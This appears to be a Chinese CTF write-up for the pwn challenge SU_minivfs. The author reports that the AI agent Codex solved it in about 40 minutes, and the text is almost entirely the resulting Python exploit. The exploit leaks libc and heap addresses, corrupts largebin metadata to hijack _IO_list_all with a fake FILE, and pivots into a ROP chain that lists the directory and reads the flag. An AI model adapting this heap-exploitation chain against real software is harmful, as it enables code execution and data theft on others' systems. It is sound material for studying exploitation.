1. 前言
这道题目在pwn题里算的上很困难,ai如果连这都能做出来,说明以后确实没有做ctf的必要了。
2. SU_minivfs
2.1 程序分析

2.2 exp
这次我给了codex更多的执行空间,它运行了40min,把题目秒了….
#!/usr/bin/env python3
from __future__ import annotations
import argparse
import re
from pwn import ELF, context, flat, log, p32, p64, remote, u64
context.arch = "amd64"
context.bits = 64
LIBC_PATH = "./attachments/libc.so.6"
PATHS = [
"/f28",
"/f0",
"/f7",
"/f5",
"/f4",
"/f23",
"/f16",
"/f21",
"/f6",
"/f9",
"/f8",
"/f13",
"/f2",
"/f31",
"/f10",
"/f1",
]
UNSORTED_LEAK_OFF = 0x210B20
GADGETS = {
"pop_rsp": 0x3C8F8,
"pop_rdi": 0x119E9C,
"pop_rsi": 0x11B07D,
# pop rdx; xor eax, eax; pop rbx; pop r12; pop r13; pop rbp; ret
"pop_rdx_4pop": 0xBBBFC,
"pop_rax": 0xE4E97,
"syscall": 0x9F4A6,
}
def path_hash_key(path: str) -> tuple[int, int, int]:
h = 0x811C9DC5
for b in path.encode():
h = ((h ^ b) * 0x1000193) & 0xFFFFFFFF
h = (((h ^ (h >> 16)) * 0x7FEB352D) & 0xFFFFFFFF)
h = (((h ^ (h >> 15)) * 0x846CA68B) & 0xFFFFFFFF)
h = (h ^ (h >> 16)) & 0xFFFFFFFF
return h, h & 0xF, (h ^ 0xA5A5A5A5) & 0xFFFFFFFF
class MiniVFS:
def __init__(self, host: str, port: int):
self.io = remote(host, port)
self.io.recvuntil(b"vfs> ")
def cmd(self, line: bytes | str) -> bytes:
if isinstance(line, str):
line = line.encode()
self.io.sendline(line)
return self.io.recvuntil(b"vfs> ", timeout=3)
def touch(self, path: str, size: int) -> bytes:
key = path_hash_key(path)[2]
return self.cmd(f"touch {path} {hex(size)} {hex(key)}")
def rm(self, path: str) -> bytes:
key = path_hash_key(path)[2]
return self.cmd(f"rm {path} {hex(key)}")
def cat(self, path: str) -> bytes:
key = path_hash_key(path)[2]
self.io.sendline(f"cat {path} {hex(key)}".encode())
data = self.io.recvuntil(b"vfs> ", timeout=3)
return data[:-5] if data.endswith(b"vfs> ") else data
def write(self, path: str, data: bytes, n: int | None = None) -> bytes:
if n is None:
n = len(data)
key = path_hash_key(path)[2]
self.io.sendline(f"write {path} {hex(n)} {hex(key)}".encode())
self.io.recvuntil(b"> ")
self.io.send(data)
return self.io.recvuntil(b"vfs> ", timeout=3)
def finish(self) -> bytes:
self.io.sendline(b"quit")
return self.io.recvall(timeout=5)
def build_rop(libc_base: int, qhdr: int, buf: int, mode: str, target_path: bytes) -> tuple[bytes, int]:
pop_rax = libc_base + GADGETS["pop_rax"]
pop_rdi = libc_base + GADGETS["pop_rdi"]
pop_rsi = libc_base + GADGETS["pop_rsi"]
pop_rdx = libc_base + GADGETS["pop_rdx_4pop"]
syscall = libc_base + GADGETS["syscall"]
path_addr = qhdr + 0x4B0
chain: list[int] = []
def sysno(n: int, a: int, b: int, c: int) -> None:
chain.extend(
[
pop_rdi,
a,
pop_rsi,
b,
pop_rdx,
c,
0,
0,
0,
0,
pop_rax,
n,
syscall,
]
)
if mode == "dir":
sysno(257, 0xFFFFFFFFFFFFFF9C, path_addr, 0) # openat(AT_FDCWD, ".", O_RDONLY)
sysno(217, 3, buf, 0x400) # getdents64
sysno(1, 1, buf, 0x400) # write
else:
sysno(2, path_addr, 0, 0) # open
sysno(0, 3, buf, 0x100) # read
sysno(1, 1, buf, 0x100) # write
sysno(60, 0, 0, 0)
return flat(chain), path_addr
def trigger(host: str, port: int, libc: ELF, mode: str, target_path: bytes = b".") -> bytes:
v = MiniVFS(host, port)
a, b, c, d, e, x, q, g, y = PATHS[:9]
size = 0x4F8
for path in [a, b, c, d]:
v.touch(path, size)
v.rm(a)
v.rm(c)
v.touch(c, size)
leak = v.cat(c)
libc_base = u64(leak[:8]) - UNSORTED_LEAK_OFF
heap = u64(leak[8:16]) - 0xA00
log.info("libc_base=%#x heap_chunk=%#x", libc_base, heap)
v.touch(a, size)
payload = bytearray(b"A" * size)
payload[0:8] = p64(heap)
payload[8:16] = p64(heap)
payload[0x10:0x20] = b"\0" * 0x10
payload[0x4F0:0x4F8] = p64(0x500)
v.write(c, bytes(payload), size)
v.rm(b)
v.touch(b, 0x4E8)
v.touch(e, 0x500)
v.touch(q, 0x4D8)
v.touch(g, size)
qhdr = heap + 0x1400
guard = heap + 0x18F0
v.rm(b)
v.touch(x, 0x500)
largebin = v.cat(c)
fd, bk, fd_next, _ = [u64(largebin[i : i + 8]) for i in range(0, 32, 8)]
io_list_all = libc_base + libc.symbols["_IO_list_all"]
setcontext = libc_base + libc.symbols["setcontext"]
wfile_jumps = libc_base + libc.symbols["_IO_wfile_jumps"]
wide = qhdr + 0x200
wide_vtable = qhdr + 0x300
rop_stack = guard
lock = guard + 0x400
rop, path_addr = build_rop(libc_base, qhdr, qhdr, mode, target_path)
fake = bytearray(b"\0" * 0x4D8)
def put(off: int, val: int) -> None:
fake[off - 0x10 : off - 0x8] = p64(val)
put(0x68, 0)
put(0x88, lock)
put(0xA0, wide)
put(0xA8, libc_base + GADGETS["pop_rsp"])
put(0xC0, 0)
put(0xD8, wfile_jumps)
put(0xE0, qhdr + 0x400)
fake[0x1C0 - 0x10 : 0x1C0 - 0x0C] = p32(0x1F80)
put(0x200, rop_stack)
put(0x218, 0)
put(0x230, 0)
put(0x2E0, wide_vtable)
put(0x368, setcontext)
path_bytes = b".\0" if mode == "dir" else target_path.rstrip(b"\0") + b"\0"
fake[path_addr - qhdr - 0x10 : path_addr - qhdr - 0x10 + len(path_bytes)] = path_bytes
used = max(0x4C0, path_addr - qhdr - 0x10 + len(path_bytes))
v.write(q, bytes(fake[:used]), used)
v.write(g, rop, len(rop))
v.rm(q)
v.write(c, flat(fd, bk, fd_next, io_list_all - 0x20), 0x20)
v.touch(y, 0x500)
return v.finish()
def parse_flag_name(directory_dump: bytes) -> bytes:
match = re.search(rb"flag_[0-9a-fA-F]{16}", directory_dump)
if not match:
raise RuntimeError(f"failed to find randomized flag name in directory dump: {directory_dump!r}")
return b"/" + match.group(0)
def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("host", nargs="?", default="127.0.0.1")
parser.add_argument("port", nargs="?", type=int, default=10001)
parser.add_argument("--libc", default=LIBC_PATH)
parser.add_argument("--flag-path", type=lambda s: s.encode(), default=None)
parser.add_argument("--debug", action="store_true")
args = parser.parse_args()
context.log_level = "debug" if args.debug else "info"
libc = ELF(args.libc, checksec=False)
if args.flag_path is None:
log.info("stage 1: dumping chroot directory")
directory = trigger(args.host, args.port, libc, "dir")
flag_path = parse_flag_name(directory)
log.success("found flag path: %s", flag_path.decode())
else:
flag_path = args.flag_path
log.info("stage 2: reading %s", flag_path.decode(errors="replace"))
data = trigger(args.host, args.port, libc, "read", flag_path)
match = re.search(rb"flag\{[^}]+\}", data)
if match:
log.success(match.group(0).decode())
else:
print(data)
if __name__ == "__main__":
main()

插曲:xinetd如何调试
古法ctf的时代结束了。